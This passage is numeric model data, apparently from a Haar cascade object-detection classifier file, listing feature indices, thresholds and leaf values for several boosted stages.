-1.9280999898910522e-02 -1.1946409940719604e+00 + <_> + + 0 -1 655 -5.8724999427795410e-02 + + -1.7328219413757324e+00 1.4374700188636780e-01 + <_> + + 0 -1 656 4.4755998998880386e-02 + + -2.4140599370002747e-01 5.4019999504089355e-01 + <_> + + 0 -1 657 4.0369000285863876e-02 + + 5.7680001482367516e-03 5.6578099727630615e-01 + <_> + + 0 -1 658 3.7735998630523682e-02 + + 3.8180999457836151e-02 -7.9370397329330444e-01 + <_> + + 0 -1 659 6.0752999037504196e-02 + + 7.6453000307083130e-02 1.4813209772109985e+00 + <_> + + 0 -1 660 -1.9832000136375427e-02 + + -1.6971720457077026e+00 -2.7370000258088112e-02 + <_> + + 0 -1 661 -1.6592699289321899e-01 + + 6.2976002693176270e-01 3.1762998551130295e-02 + <_> + + 0 -1 662 6.9014996290206909e-02 + + -3.3463200926780701e-01 3.0076700448989868e-01 + <_> + + 0 -1 663 1.1358000338077545e-02 + + 2.2741499543190002e-01 -3.8224700093269348e-01 + <_> + + 0 -1 664 1.7000000225380063e-03 + + 1.9223800301551819e-01 -5.2735102176666260e-01 + <_> + + 0 -1 665 7.9769000411033630e-02 + + 9.1491997241973877e-02 2.1049048900604248e+00 + <_> + + 0 -1 666 -5.7144001126289368e-02 + + -1.7452130317687988e+00 -4.0910001844167709e-02 + <_> + + 0 -1 667 7.3830001056194305e-03 + + -2.4214799702167511e-01 3.5577800869941711e-01 + <_> + + 0 -1 668 -1.8040999770164490e-02 + + 1.1779999732971191e+00 -1.7676700651645660e-01 + <_> + + 0 -1 669 9.4503000378608704e-02 + + 1.3936099410057068e-01 -1.2993700504302979e+00 + <_> + + 0 -1 670 5.4210000671446323e-03 + + -5.4608601331710815e-01 1.3916400074958801e-01 + <_> + + 0 -1 671 7.0290002040565014e-03 + + -2.1597200632095337e-01 3.9258098602294922e-01 + <_> + + 0 -1 672 3.4515999257564545e-02 + + 6.3188999891281128e-02 -7.2108101844787598e-01 + <_> + + 0 -1 673 -5.1924999803304672e-02 + + 6.8667602539062500e-01 6.3272997736930847e-02 + <_> + + 0 -1 674 -6.9162003695964813e-02 + + 1.7411810159683228e+00 -1.6619299352169037e-01 + <_> + + 0 -1 675 -5.5229999125003815e-03 + + 3.0694699287414551e-01 -1.6662900149822235e-01 + <_> + + 0 -1 676 6.8599998950958252e-02 + + -2.1405400335788727e-01 7.3185002803802490e-01 + <_> + + 0 -1 677 -6.7038998007774353e-02 + + -7.9360598325729370e-01 2.0525799691677094e-01 + <_> + + 0 -1 678 -2.1005000919103622e-02 + + 3.7344399094581604e-01 -2.9618600010871887e-01 + <_> + + 0 -1 679 2.0278999581933022e-02 + + -1.5200000256299973e-02 4.0555301308631897e-01 + <_> + + 0 -1 680 -4.7107998281717300e-02 + + 1.2116849422454834e+00 -1.7464299499988556e-01 + <_> + + 0 -1 681 1.8768499791622162e-01 + + -2.2909000515937805e-02 6.9645798206329346e-01 + <_> + + 0 -1 682 -4.3228998780250549e-02 + + -1.0602480173110962e+00 -5.5599998449906707e-04 + <_> + + 0 -1 683 2.0004000514745712e-02 + + -3.2751001417636871e-02 5.3805100917816162e-01 + <_> + + 0 -1 684 8.0880001187324524e-03 + + 3.7548001855611801e-02 -7.4768900871276855e-01 + <_> + + 0 -1 685 2.7101000770926476e-02 + + -8.1790000200271606e-02 3.3387100696563721e-01 + <_> + + 0 -1 686 -9.1746002435684204e-02 + + -1.9213509559631348e+00 -3.8952998816967010e-02 + <_> + + 0 -1 687 -1.2454999610781670e-02 + + 4.8360601067543030e-01 1.8168000504374504e-02 + <_> + + 0 -1 688 1.4649000018835068e-02 + + -1.9906699657440186e-01 7.2815400362014771e-01 + <_> + + 0 -1 689 2.9101999476552010e-02 + + 1.9871099293231964e-01 -4.9216800928115845e-01 + <_> + + 0 -1 690 8.7799998000264168e-03 + + -1.9499599933624268e-01 7.7317398786544800e-01 + <_> + + 0 -1 691 -5.4740000516176224e-02 + + 1.8087190389633179e+00 6.8323001265525818e-02 + <_> + + 0 -1 692 -1.4798000454902649e-02 + + 7.8064900636672974e-01 -1.8709599971771240e-01 + <_> + + 0 -1 693 2.5012999773025513e-02 + + 1.5285299718379974e-01 -1.6021020412445068e+00 + <_> + + 0 -1 694 4.6548001468181610e-02 + + -1.6738200187683105e-01 1.1902060508728027e+00 + <_> + + 0 -1 695 1.7624000087380409e-02 + + -1.0285499691963196e-01 3.9175900816917419e-01 + <_> + + 0 -1 696 1.6319599747657776e-01 + + -3.5624001175165176e-02 -1.6098170280456543e+00 + <_> + + 0 -1 697 1.3137999922037125e-02 + + -5.6359000504016876e-02 5.4158902168273926e-01 + <_> + + 0 -1 698 -1.5665000304579735e-02 + + 2.8063100576400757e-01 -3.1708601117134094e-01 + <_> + + 0 -1 699 8.0554001033306122e-02 + + 1.2640400230884552e-01 -1.0297529697418213e+00 + <_> + + 0 -1 700 3.5363998264074326e-02 + + 2.0752999931573868e-02 -7.9105597734451294e-01 + <_> + + 0 -1 701 3.2986998558044434e-02 + + 1.9057099521160126e-01 -8.3839899301528931e-01 + <_> + + 0 -1 702 1.2195000424981117e-02 + + 7.3729000985622406e-02 -6.2780702114105225e-01 + <_> + + 0 -1 703 4.3065998703241348e-02 + + 4.7384999692440033e-02 1.5712939500808716e+00 + <_> + + 0 -1 704 3.0326999723911285e-02 + + -2.7314600348472595e-01 3.8572001457214355e-01 + <_> + + 0 -1 705 3.5493001341819763e-02 + + 5.4593998938798904e-02 5.2583402395248413e-01 + <_> + + 0 -1 706 -1.4596999622881413e-02 + + 3.8152599334716797e-01 -2.8332400321960449e-01 + <_> + + 0 -1 707 1.2606999836862087e-02 + + 1.5455099940299988e-01 -3.0501499772071838e-01 + <_> + + 0 -1 708 1.0172000154852867e-02 + + 2.3637000471353531e-02 -8.7217897176742554e-01 + <_> + + 0 -1 709 2.8843000531196594e-02 + + 1.6090999543666840e-01 -2.0277599990367889e-01 + <_> + + 0 -1 710 5.5100000463426113e-04 + + -6.1545401811599731e-01 8.0935999751091003e-02 + <_> + 127 + -3.5645289421081543e+00 + + <_> + + 0 -1 711 4.8344001173973083e-02 + + -8.4904599189758301e-01 5.6974399089813232e-01 + <_> + + 0 -1 712 3.2460000365972519e-02 + + -8.1417298316955566e-01 4.4781699776649475e-01 + <_> + + 0 -1 713 3.3339999616146088e-02 + + -3.6423799395561218e-01 6.7937397956848145e-01 + <_> + + 0 -1 714 6.4019998535513878e-03 + + -1.1885459423065186e+00 1.9238699972629547e-01 + <_> + + 0 -1 715 -5.6889997795224190e-03 + + 3.3085298538208008e-01 -7.1334099769592285e-01 + <_> + + 0 -1 716 1.2698000296950340e-02 + + -5.0990802049636841e-01 1.1376299709081650e-01 + <_> + + 0 -1 717 6.0549997724592686e-03 + + -1.0470550060272217e+00 2.0222599804401398e-01 + <_> + + 0 -1 718 2.6420000940561295e-03 + + -5.0559401512145996e-01 3.6441200971603394e-01 + <_> + + 0 -1 719 -1.6925999894738197e-02 + + -9.9541902542114258e-01 1.2602199614048004e-01 + <_> + + 0 -1 720 2.8235999867320061e-02 + + -9.4137996435165405e-02 5.7780402898788452e-01 + <_> + + 0 -1 721 1.0428999550640583e-02 + + 2.3272900283336639e-01 -5.2569699287414551e-01 + <_> + + 0 -1 722 9.8860003054141998e-03 + + -1.0316299647092819e-01 4.7657600045204163e-01 + <_> + + 0 -1 723 2.6015000417828560e-02 + + -1.0920000495389104e-03 -1.5581729412078857e+00 + <_> + + 0 -1 724 -2.5537999346852303e-02 + + -6.5451401472091675e-01 1.8843199312686920e-01 + <_> + + 0 -1 725 -3.5310001112520695e-03 + + 2.8140598535537720e-01 -4.4575300812721252e-01 + <_> + + 0 -1 726 9.2449998483061790e-03 + + 1.5612000226974487e-01 -2.1370999515056610e-01 + <_> + + 0 -1 727 2.1030999720096588e-02 + + -2.9170298576354980e-01 5.2234101295471191e-01 + <_> + + 0 -1 728 -5.1063001155853271e-02 + + 1.3661290407180786e+00 3.0465999618172646e-02 + <_> + + 0 -1 729 -6.2330000102519989e-02 + + 1.2207020521163940e+00 -2.2434400022029877e-01 + <_> + + 0 -1 730 -3.2963000237941742e-02 + + -8.2016801834106445e-01 1.4531899988651276e-01 + <_> + + 0 -1 731 -3.7418000400066376e-02 + + -1.2218099832534790e+00 1.9448999315500259e-02 + <_> + + 0 -1 732 1.2402799725532532e-01 + + 1.2082300335168839e-01 -9.8729300498962402e-01 + <_> + + 0 -1 733 -8.9229997247457504e-03 + + -1.1688489913940430e+00 2.1105000749230385e-02 + <_> + + 0 -1 734 -5.9879999607801437e-02 + + -1.0689330101013184e+00 1.9860200583934784e-01 + <_> + + 0 -1 735 6.2620001845061779e-03 + + -3.6229598522186279e-01 3.8000801205635071e-01 + <_> + + 0 -1 736 -1.7673000693321228e-02 + + 4.9094098806381226e-01 -1.4606699347496033e-01 + <_> + + 0 -1 737 1.7579000443220139e-02 + + 5.8728098869323730e-01 -2.7774399518966675e-01 + <_> + + 0 -1 738 5.1560001447796822e-03 + + -7.5194999575614929e-02 6.0193097591400146e-01 + <_> + + 0 -1 739 -1.0599999688565731e-02 + + 2.7637401223182678e-01 -3.7794300913810730e-01 + <_> + + 0 -1 740 2.0884099602699280e-01 + + -5.3599998354911804e-03 1.0317809581756592e+00 + <_> + + 0 -1 741 -2.6412999257445335e-02 + + 8.2336401939392090e-01 -2.2480599582195282e-01 + <_> + + 0 -1 742 5.8892000466585159e-02 + + 1.3098299503326416e-01 -1.1853699684143066e+00 + <_> + + 0 -1 743 -1.1579000391066074e-02 + + -9.0667802095413208e-01 4.4126998633146286e-02 + <_> + + 0 -1 744 4.5988000929355621e-02 + + 1.0143999941647053e-02 1.0740900039672852e+00 + <_> + + 0 -1 745 -2.2838000208139420e-02 + + 1.7791990041732788e+00 -1.7315499484539032e-01 + <_> + + 0 -1 746 -8.1709995865821838e-03 + + 5.7386302947998047e-01 -7.4106000363826752e-02 + <_> + + 0 -1 747 3.5359999164938927e-03 + + -3.2072898745536804e-01 4.0182501077651978e-01 + <_> + + 0 -1 748 4.9444999545812607e-02 + + 1.9288000464439392e-01 -1.2166700363159180e+00 + <_> + + 0 -1 749 3.5139999818056822e-03 + + 6.9568000733852386e-02 -7.1323698759078979e-01 + <_> + + 0 -1 750 -3.0996000394225121e-02 + + -3.8862198591232300e-01 1.8098799884319305e-01 + <_> + + 0 -1 751 8.6452998220920563e-02 + + -2.5792999193072319e-02 -1.5453219413757324e+00 + <_> + + 0 -1 752 -1.3652600347995758e-01 + + -1.9199420213699341e+00 1.6613300144672394e-01 + <_> + + 0 -1 753 -5.7689999230206013e-03 + + -1.2822589874267578e+00 -1.5907999128103256e-02 + <_> + + 0 -1 754 -1.7899999395012856e-02 + + -4.0409898757934570e-01 2.3591600358486176e-01 + <_> + + 0 -1 755 -1.9969999790191650e-02 + + -7.2891902923583984e-01 5.6235000491142273e-02 + <_> + + 0 -1 756 -5.7493001222610474e-02 + + 5.7830798625946045e-01 -1.5796000137925148e-02 + <_> + + 0 -1 757 -8.3056002855300903e-02 + + 9.1511601209640503e-01 -2.1121400594711304e-01 + <_> + + 0 -1 758 -5.3771000355482101e-02 + + -5.1931297779083252e-01 1.8576000630855560e-01 + <_> + + 0 -1 759 -8.3670001477003098e-03 + + 2.4109700322151184e-01 -3.9648601412773132e-01 + <_> + + 0 -1 760 5.5406998842954636e-02 + + 1.6771200299263000e-01 -2.5664970874786377e+00 + <_> + + 0 -1 761 -6.7180998623371124e-02 + + -1.3658570051193237e+00 -1.4232000336050987e-02 + <_> + + 0 -1 762 -2.3900000378489494e-02 + + -1.7084569931030273e+00 1.6507799923419952e-01 + <_> + + 0 -1 763 5.5949999950826168e-03 + + -3.1373998522758484e-01 3.2837900519371033e-01 + <_> + + 0 -1 764 2.1294999867677689e-02 + + 1.4953400194644928e-01 -4.8579800128936768e-01 + <_> + + 0 -1 765 -2.4613000452518463e-02 + + 7.4346399307250977e-01 -2.2305199503898621e-01 + <_> + + 0 -1 766 -1.9626000896096230e-02 + + -4.0918299555778503e-01 1.8893200159072876e-01 + <_> + + 0 -1 767 -5.3266000002622604e-02 + + 8.1381601095199585e-01 -2.0853699743747711e-01 + <_> + + 0 -1 768 7.1290000341832638e-03 + + 3.2996100187301636e-01 -5.9937399625778198e-01 + <_> + + 0 -1 769 -2.2486999630928040e-02 + + -1.2551610469818115e+00 -2.0413000136613846e-02 + <_> + + 0 -1 770 -8.2310996949672699e-02 + + 1.3821430206298828e+00 5.9308998286724091e-02 + <_> + + 0 -1 771 1.3097000122070312e-01 + + -3.5843998193740845e-02 -1.5396369695663452e+00 + <_> + + 0 -1 772 1.4293000102043152e-02 + + -1.8475200235843658e-01 3.7455001473426819e-01 + <_> + + 0 -1 773 6.3479999080300331e-03 + + -4.4901099801063538e-01 1.3876999914646149e-01 + <_> + + 0 -1 774 -4.6055000275373459e-02 + + 6.7832601070404053e-01 -1.7071999609470367e-02 + <_> + + 0 -1 775 5.7693999260663986e-02 + + -1.1955999769270420e-02 -1.2261159420013428e+00 + <_> + + 0 -1 776 -6.0609998181462288e-03 + + 3.3958598971366882e-01 6.2800000887364149e-04 + <_> + + 0 -1 777 -5.2163001149892807e-02 + + -1.0621069669723511e+00 -1.3779999688267708e-02 + <_> + + 0 -1 778 4.6572998166084290e-02 + + 1.4538800716400146e-01 -1.2384550571441650e+00 + <_> + + 0 -1 779 7.5309998355805874e-03 + + -2.4467700719833374e-01 5.1377099752426147e-01 + <_> + + 0 -1 780 2.1615000441670418e-02 + + 1.3072599470615387e-01 -7.0996797084808350e-01 + <_> + + 0 -1 781 -1.7864000052213669e-02 + + -1.0474660396575928e+00 4.9599999329075217e-04 + <_> + + 0 -1 782 -3.7195000797510147e-02 + + -1.5126730203628540e+00 1.4801399409770966e-01 + <_> + + 0 -1 783 -3.1100001069717109e-04 + + 1.3971500098705292e-01 -4.6867498755455017e-01 + <_> + + 0 -1 784 2.5042999535799026e-02 + + 2.8632000088691711e-01 -4.1794699430465698e-01 + <_> + + 0 -1 785 9.3449996784329414e-03 + + -2.7336201071739197e-01 4.3444699048995972e-01 + <_> + + 0 -1 786 3.2363999634981155e-02 + + 1.8438899517059326e-01 -9.5019298791885376e-01 + <_> + + 0 -1 787 -6.2299999408423901e-03 + + 3.2581999897956848e-01 -3.0815601348876953e-01 + <_> + + 0 -1 788 5.1488999277353287e-02 + + 1.1416000127792358e-01 -1.9795479774475098e+00 + <_> + + 0 -1 789 -2.6449000462889671e-02 + + -1.1067299842834473e+00 -8.5519999265670776e-03 + <_> + + 0 -1 790 -1.5420000068843365e-02 + + 8.0138701200485229e-01 -3.2035000622272491e-02 + <_> + + 0 -1 791 1.9456999376416206e-02 + + -2.6449498534202576e-01 3.8753899931907654e-01 + <_> + + 0 -1 792 3.3620998263359070e-02 + + 1.6052000224590302e-02 5.8840900659561157e-01 + <_> + + 0 -1 793 2.8906000778079033e-02 + + 1.5216000378131866e-02 -9.4723600149154663e-01 + <_> + + 0 -1 794 2.0300000323913991e-04 + + -3.0766001343727112e-01 2.1235899627208710e-01 + <_> + + 0 -1 795 -4.9141999334096909e-02 + + -1.6058609485626221e+00 -3.1094999983906746e-02 + <_> + + 0 -1 796 7.6425999402999878e-02 + + 7.4758999049663544e-02 1.1639410257339478e+00 + <_> + + 0 -1 797 2.3897999897599220e-02 + + -6.4320000819861889e-03 -1.1150749921798706e+00 + <_> + + 0 -1 798 3.8970001041889191e-03 + + -2.4105699360370636e-01 2.0858900249004364e-01 + <_> + + 0 -1 799 -8.9445002377033234e-02 + + 1.9157789945602417e+00 -1.5721100568771362e-01 + <_> + + 0 -1 800 -1.5008999966084957e-02 + + -2.5174099206924438e-01 1.8179899454116821e-01 + <_> + + 0 -1 801 -1.1145999655127525e-02 + + -6.9349497556686401e-01 4.4927999377250671e-02 + <_> + + 0 -1 802 9.4578996300697327e-02 + + 1.8102100491523743e-01 -7.4978601932525635e-01 + <_> + + 0 -1 803 5.5038899183273315e-01 + + -3.0974000692367554e-02 -1.6746139526367188e+00 + <_> + + 0 -1 804 4.1381001472473145e-02 + + 6.3910000026226044e-02 7.6561200618743896e-01 + <_> + + 0 -1 805 2.4771999567747116e-02 + + 1.1380000039935112e-02 -8.8559401035308838e-01 + <_> + + 0 -1 806 5.0999000668525696e-02 + + 1.4890299737453461e-01 -2.4634211063385010e+00 + <_> + + 0 -1 807 -1.6893999651074409e-02 + + 3.8870999217033386e-01 -2.9880300164222717e-01 + <_> + + 0 -1 808 -1.2162300199270248e-01 + + -1.5542800426483154e+00 1.6300800442695618e-01 + <_> + + 0 -1 809 -3.6049999762326479e-03 + + 2.1842800080776215e-01 -3.7312099337577820e-01 + <_> + + 0 -1 810 1.1575400084257126e-01 + + -4.7061000019311905e-02 5.9403699636459351e-01 + <_> + + 0 -1 811 3.6903999745845795e-02 + + -2.5508600473403931e-01 5.5397301912307739e-01 + <_> + + 0 -1 812 1.1483999900519848e-02 + + -1.8129499256610870e-01 4.0682798624038696e-01 + <_> + + 0 -1 813 -2.0233999937772751e-02 + + 5.4311197996139526e-01 -2.3822399973869324e-01 + <_> + + 0 -1 814 -2.8765000402927399e-02 + + -6.9172298908233643e-01 1.5943300724029541e-01 + <_> + + 0 -1 815 -5.8320001699030399e-03 + + 2.9447799921035767e-01 -3.4005999565124512e-01 + <_> + + 0 -1 816 -5.5468998849391937e-02 + + 9.2200797796249390e-01 9.4093002378940582e-02 + <_> + + 0 -1 817 -1.4801000244915485e-02 + + -7.9539698362350464e-01 3.1521998345851898e-02 + <_> + + 0 -1 818 -7.0940000005066395e-03 + + 3.3096000552177429e-01 -5.0886999815702438e-02 + <_> + + 0 -1 819 -4.5124001801013947e-02 + + -1.3719749450683594e+00 -2.1408999338746071e-02 + <_> + + 0 -1 820 6.4377002418041229e-02 + + 6.3901998102664948e-02 9.1478300094604492e-01 + <_> + + 0 -1 821 -1.4727000147104263e-02 + + 3.6050599813461304e-01 -2.8614500164985657e-01 + <_> + + 0 -1 822 4.5007001608610153e-02 + + -1.5619699656963348e-01 5.3160297870635986e-01 + <_> + + 0 -1 823 -1.1330000124871731e-03 + + 1.3422900438308716e-01 -4.4358900189399719e-01 + <_> + + 0 -1 824 4.9451000988483429e-02 + + 1.0571800172328949e-01 -2.5589139461517334e+00 + <_> + + 0 -1 825 2.9102999716997147e-02 + + -1.0088000446557999e-02 -1.1073939800262451e+00 + <_> + + 0 -1 826 3.4786000847816467e-02 + + -2.7719999197870493e-03 5.6700998544692993e-01 + <_> + + 0 -1 827 -6.1309998854994774e-03 + + -4.6889400482177734e-01 1.2636399269104004e-01 + <_> + + 0 -1 828 1.5525000169873238e-02 + + -8.4279999136924744e-03 8.7469202280044556e-01 + <_> + + 0 -1 829 2.9249999206513166e-03 + + -3.4434300661087036e-01 2.0851600170135498e-01 + <_> + + 0 -1 830 -5.3571000695228577e-02 + + 1.4982949495315552e+00 5.7328000664710999e-02 + <_> + + 0 -1 831 -1.9217999652028084e-02 + + -9.9234098196029663e-01 -9.3919998034834862e-03 + <_> + + 0 -1 832 -5.5282998830080032e-02 + + -5.7682299613952637e-01 1.6860599815845490e-01 + <_> + + 0 -1 833 5.6336000561714172e-02 + + -3.3775001764297485e-02 -1.3889650106430054e+00 + <_> + + 0 -1 834 -2.3824000731110573e-02 + + 4.0182098746299744e-01 1.8360000103712082e-03 + <_> + + 0 -1 835 1.7810000572353601e-03 + + 1.8145999312400818e-01 -4.1743400692939758e-01 + <_> + + 0 -1 836 -3.7689000368118286e-02 + + 5.4683101177215576e-01 1.8219999969005585e-02 + <_> + + 0 -1 837 -2.4144999682903290e-02 + + 6.8352097272872925e-01 -1.9650200009346008e-01 + <_> + 135 + -3.7025990486145020e+00 + + <_> + + 0 -1 838 2.7444999665021896e-02 + + -8.9984202384948730e-01 5.1876497268676758e-01 + <_> + + 0 -1 839 1.1554100364446640e-01 + + -5.6524401903152466e-01 7.0551300048828125e-01 + <_> + + 0 -1 840 -2.2297000512480736e-02 + + 3.6079999804496765e-01 -6.6864597797393799e-01 + <_> + + 0 -1 841 1.3325000181794167e-02 + + -5.5573397874832153e-01 3.5789999365806580e-01 + <_> + + 0 -1 842 -3.8060001097619534e-03 + + -1.0713000297546387e+00 1.8850000202655792e-01 + <_> + + 0 -1 843 -2.6819999329745770e-03 + + -7.1584302186965942e-01 2.6344498991966248e-01 + <_> + + 0 -1 844 3.3819999080151320e-03 + + -4.6930798888206482e-01 2.6658400893211365e-01 + <_> + + 0 -1 845 3.7643000483512878e-02 + + 2.1098700165748596e-01 -1.0804339647293091e+00 + <_> + + 0 -1 846 -1.3861999846994877e-02 + + 6.6912001371383667e-01 -2.7942800521850586e-01 + <_> + + 0 -1 847 -2.7350001037120819e-03 + + -9.5332300662994385e-01 2.4051299691200256e-01 + <_> + + 0 -1 848 -3.8336999714374542e-02 + + 8.1432801485061646e-01 -2.4919399619102478e-01 + <_> + + 0 -1 849 -3.4697998315095901e-02 + + 1.2330100536346436e+00 6.8600000813603401e-03 + <_> + + 0 -1 850 2.3360999301075935e-02 + + -3.0794700980186462e-01 7.0714497566223145e-01 + <_> + + 0 -1 851 3.5057999193668365e-02 + + 2.1205900609493256e-01 -1.4399830102920532e+00 + <_> + + 0 -1 852 -1.3256999664008617e-02 + + -9.0260702371597290e-01 4.8610001802444458e-02 + <_> + + 0 -1 853 1.2740000151097775e-02 + + 2.2655199468135834e-01 -4.4643801450729370e-01 + <_> + + 0 -1 854 3.6400000099092722e-03 + + -3.9817899465560913e-01 3.4665399789810181e-01 + <_> + + 0 -1 855 1.0064700245857239e-01 + + 1.8383599817752838e-01 -1.3410769701004028e+00 + <_> + + 0 -1 856 0. + + 1.5536400675773621e-01 -5.1582497358322144e-01 + <_> + + 0 -1 857 1.1708999983966351e-02 + + 2.1651400625705719e-01 -7.2705197334289551e-01 + <_> + + 0 -1 858 -3.5964999347925186e-02 + + -1.4789500236511230e+00 -2.4317000061273575e-02 + <_> + + 0 -1 859 -2.1236000582575798e-02 + + -1.6844099760055542e-01 1.9526599347591400e-01 + <_> + + 0 -1 860 1.4874000102281570e-02 + + 3.7335999310016632e-02 -8.7557297945022583e-01 + <_> + + 0 -1 861 -5.1409997977316380e-03 + + 3.3466500043869019e-01 -2.4109700322151184e-01 + <_> + + 0 -1 862 2.3450000211596489e-02 + + 5.5320002138614655e-03 -1.2509720325469971e+00 + <_> + + 0 -1 863 -2.5062000378966331e-02 + + 4.5212399959564209e-01 -8.4469996392726898e-02 + <_> + + 0 -1 864 -7.7400001464411616e-04 + + 1.5249900519847870e-01 -4.8486500978469849e-01 + <_> + + 0 -1 865 -4.0483999997377396e-02 + + -1.3024920225143433e+00 1.7983500659465790e-01 + <_> + + 0 -1 866 2.8170999139547348e-02 + + -2.4410900473594666e-01 6.2271100282669067e-01 + <_> + + 0 -1 867 4.5692998915910721e-02 + + 2.8122000396251678e-02 9.2394399642944336e-01 + <_> + + 0 -1 868 3.9707001298666000e-02 + + -2.2332799434661865e-01 7.7674001455307007e-01 + <_> + + 0 -1 869 5.0517000257968903e-02 + + 2.0319999754428864e-01 -1.0895930528640747e+00 + <_> + + 0 -1 870 -1.7266999930143356e-02 + + 6.8598401546478271e-01 -2.3304499685764313e-01 + <_> + + 0 -1 871 8.0186001956462860e-02 + + -1.0292000137269497e-02 6.1881101131439209e-01 + <_> + + 0 -1 872 9.7676001489162445e-02 + + -2.0070299506187439e-01 1.0088349580764771e+00 + <_> + + 0 -1 873 -1.5572000294923782e-02 + + 4.7615298628807068e-01 4.5623999089002609e-02 + <_> + + 0 -1 874 -1.5305000357329845e-02 + + -1.1077369451522827e+00 4.5239999890327454e-03 + <_> + + 0 -1 875 -1.6485000029206276e-02 + + 1.0152939558029175e+00 1.6327999532222748e-02 + <_> + + 0 -1 876 -2.6141999289393425e-02 + + 4.1723299026489258e-01 -2.8645500540733337e-01 + <_> + + 0 -1 877 8.8679995387792587e-03 + + 2.1404999494552612e-01 -1.6772800683975220e-01 + <_> + + 0 -1 878 -2.6886999607086182e-02 + + -1.1564220190048218e+00 -1.0324000380933285e-02 + <_> + + 0 -1 879 7.7789998613297939e-03 + + 3.5359498858451843e-01 -2.9611301422119141e-01 + <_> + + 0 -1 880 -1.5974000096321106e-02 + + -1.5374109745025635e+00 -2.9958000406622887e-02 + <_> + + 0 -1 881 2.0866999402642250e-02 + + 2.0244100689888000e-01 -7.1270197629928589e-01 + <_> + + 0 -1 882 8.5482001304626465e-02 + + -2.5932999327778816e-02 -1.5156569480895996e+00 + <_> + + 0 -1 883 2.3872999474406242e-02 + + 1.6803400218486786e-01 -3.8806200027465820e-01 + <_> + + 0 -1 884 -3.9105001837015152e-02 + + -1.1958349943161011e+00 -2.0361000671982765e-02 + <_> + + 0 -1 885 -7.7946998178958893e-02 + + -1.0898950099945068e+00 1.4530299603939056e-01 + <_> + + 0 -1 886 -1.6876000910997391e-02 + + 2.8049701452255249e-01 -4.1336300969123840e-01 + <_> + + 0 -1 887 1.1875600367784500e-01 + + -4.3490998446941376e-02 4.1263699531555176e-01 + <_> + + 0 -1 888 1.5624199807643890e-01 + + -2.6429599523544312e-01 5.5127799510955811e-01 + <_> + + 0 -1 889 -4.5908000320196152e-02 + + 6.0189199447631836e-01 1.8921000882983208e-02 + <_> + + 0 -1 890 -1.0309999808669090e-02 + + 3.8152998685836792e-01 -2.9507899284362793e-01 + <_> + + 0 -1 891 9.5769003033638000e-02 + + 1.3246500492095947e-01 -4.6266800165176392e-01 + <_> + + 0 -1 892 1.3686999678611755e-02 + + 1.1738699674606323e-01 -5.1664102077484131e-01 + <_> + + 0 -1 893 2.3990001063793898e-03 + + -3.4007599949836731e-01 2.0953500270843506e-01 + <_> + + 0 -1 894 3.3264998346567154e-02 + + -1.7052799463272095e-01 1.4366799592971802e+00 + <_> + + 0 -1 895 -3.3206000924110413e-02 + + 6.1295700073242188e-01 -4.1549999266862869e-02 + <_> + + 0 -1 896 2.7979998849332333e-03 + + -4.8554301261901855e-01 1.3372699916362762e-01 + <_> + + 0 -1 897 -6.5792001783847809e-02 + + -4.0257668495178223e+00 1.0876700282096863e-01 + <_> + + 0 -1 898 2.1430000197142363e-03 + + -3.9179998636245728e-01 2.2427099943161011e-01 + <_> + + 0 -1 899 2.2363999858498573e-02 + + -8.6429998278617859e-02 3.7785199284553528e-01 + <_> + + 0 -1 900 -5.7410001754760742e-02 + + 1.1454069614410400e+00 -1.9736599922180176e-01 + <_> + + 0 -1 901 6.6550001502037048e-03 + + -2.1105000749230385e-02 5.8453398942947388e-01 + <_> + + 0 -1 902 1.2326999567449093e-02 + + 3.7817001342773438e-02 -6.6987001895904541e-01 + <_> + + 0 -1 903 -8.1869997084140778e-03 + + 5.6366002559661865e-01 -7.6877996325492859e-02 + <_> + + 0 -1 904 3.6681000143289566e-02 + + -1.7343300580978394e-01 1.1670149564743042e+00 + <_> + + 0 -1 905 -4.0220400691032410e-01 + + 1.2640819549560547e+00 4.3398998677730560e-02 + <_> + + 0 -1 906 -2.2126000374555588e-02 + + 6.6978102922439575e-01 -2.1605299413204193e-01 + <_> + + 0 -1 907 -1.3156999833881855e-02 + + -4.1198599338531494e-01 2.0215000212192535e-01 + <_> + + 0 -1 908 -1.2860000133514404e-02 + + -9.1582697629928589e-01 3.9232999086380005e-02 + <_> + + 0 -1 909 2.1627999842166901e-02 + + 3.8719999138265848e-03 3.5668200254440308e-01 + <_> + + 0 -1 910 1.1896000243723392e-02 + + -3.7303900718688965e-01 1.9235099852085114e-01 + <_> + + 0 -1 911 -1.9548999145627022e-02 + + -4.2374899983406067e-01 2.4429599940776825e-01 + <_> + + 0 -1 912 6.4444996416568756e-02 + + -1.6558900475502014e-01 1.2697030305862427e+00 + <_> + + 0 -1 913 1.0898499935865402e-01 + + 1.4894300699234009e-01 -2.1534640789031982e+00 + <_> + + 0 -1 914 -3.4077998250722885e-02 + + 1.3779460191726685e+00 -1.6198499500751495e-01 + <_> + + 0 -1 915 -3.7489999085664749e-03 + + -3.3828601241111755e-01 2.1152900159358978e-01 + <_> + + 0 -1 916 -1.0971999727189541e-02 + + 7.6517897844314575e-01 -1.9692599773406982e-01 + <_> + + 0 -1 917 -1.1485000140964985e-02 + + -6.9271200895309448e-01 2.1657100319862366e-01 + <_> + + 0 -1 918 2.5984000414609909e-02 + + -1.1983999982476234e-02 -9.9697297811508179e-01 + <_> + + 0 -1 919 4.2159999720752239e-03 + + -1.0205700248479843e-01 4.8884400725364685e-01 + <_> + + 0 -1 920 -4.7697000205516815e-02 + + 1.0666010379791260e+00 -1.7576299607753754e-01 + <_> + + 0 -1 921 4.0300001273863018e-04 + + 1.8524800240993500e-01 -7.4790000915527344e-01 + <_> + + 0 -1 922 1.1539600044488907e-01 + + -2.2019700706005096e-01 5.4509997367858887e-01 + <_> + + 0 -1 923 1.6021000221371651e-02 + + 2.5487500429153442e-01 -5.0740098953247070e-01 + <_> + + 0 -1 924 5.6632000952959061e-02 + + -1.1256000027060509e-02 -9.5968097448348999e-01 + <_> + + 0 -1 925 -1.0726000182330608e-02 + + -2.8544700145721436e-01 1.6994799673557281e-01 + <_> + + 0 -1 926 1.2420000135898590e-01 + + -3.6139998584985733e-02 -1.3132710456848145e+00 + <_> + + 0 -1 927 -5.3799999877810478e-03 + + 3.3092701435089111e-01 1.3307999819517136e-02 + <_> + + 0 -1 928 1.1908000335097313e-02 + + -3.4830299019813538e-01 2.4041900038719177e-01 + <_> + + 0 -1 929 -4.3007999658584595e-02 + + -1.4390469789505005e+00 1.5599599480628967e-01 + <_> + + 0 -1 930 -3.3149998635053635e-02 + + -1.1805850267410278e+00 -1.2347999960184097e-02 + <_> + + 0 -1 931 -2.1341999992728233e-02 + + 2.2119441032409668e+00 